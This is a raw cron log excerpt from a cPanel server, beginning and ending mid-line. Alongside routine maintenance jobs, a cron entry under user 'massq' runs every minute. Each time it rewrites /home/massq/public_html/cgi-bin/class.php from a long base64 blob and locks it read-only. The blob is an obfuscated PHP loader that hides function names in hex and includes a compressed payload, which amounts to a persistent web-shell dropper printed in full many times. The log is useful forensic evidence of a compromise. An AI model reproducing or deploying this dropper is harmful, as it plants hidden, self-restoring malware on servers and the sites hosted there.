UFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:25:01 server CROND[16912]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 12:25:01 server CROND[16914]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:25:01 server CROND[16917]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 12:25:01 server CROND[16915]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:25:01 server CROND[16916]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 12:25:01 server CROND[16921]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 12:25:01 server CROND[16931]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 12:25:01 server CROND[16930]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  6 12:26:01 server CROND[17751]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 12:26:01 server CROND[17752]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:26:01 server CROND[17753]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:27:01 server CROND[18136]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:27:01 server CROND[18134]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:27:01 server CROND[18137]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 12:27:01 server CROND[18135]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 12:28:01 server CROND[18516]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:28:01 server CROND[18517]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 12:28:01 server CROND[18518]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:29:01 server CROND[18896]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:29:01 server CROND[18897]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:29:01 server CROND[18898]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 12:30:01 server CROND[19283]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 12:30:01 server CROND[19286]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 12:30:01 server CROND[19294]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  6 12:30:01 server CROND[19298]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:30:01 server CROND[19299]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 12:30:01 server CROND[19295]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 12:30:01 server CROND[19297]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:30:01 server CROND[19291]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 12:30:01 server CROND[19292]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 12:31:01 server CROND[20207]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 12:31:01 server CROND[20208]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:31:01 server CROND[20209]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:32:01 server CROND[20582]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:32:01 server CROND[20583]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:32:01 server CROND[20584]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 12:33:01 server CROND[20960]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:33:01 server CROND[20961]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 12:33:01 server CROND[20962]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:34:01 server CROND[21332]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:34:01 server CROND[21333]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:34:01 server CROND[21334]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 12:35:01 server CROND[21712]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 12:35:01 server CROND[21713]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 12:35:01 server CROND[21717]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 12:35:01 server CROND[21729]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:35:01 server CROND[21731]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 12:35:01 server CROND[21732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:35:01 server CROND[21735]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 12:35:01 server CROND[21734]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 12:35:01 server CROND[21737]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  6 12:36:01 server CROND[22537]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouL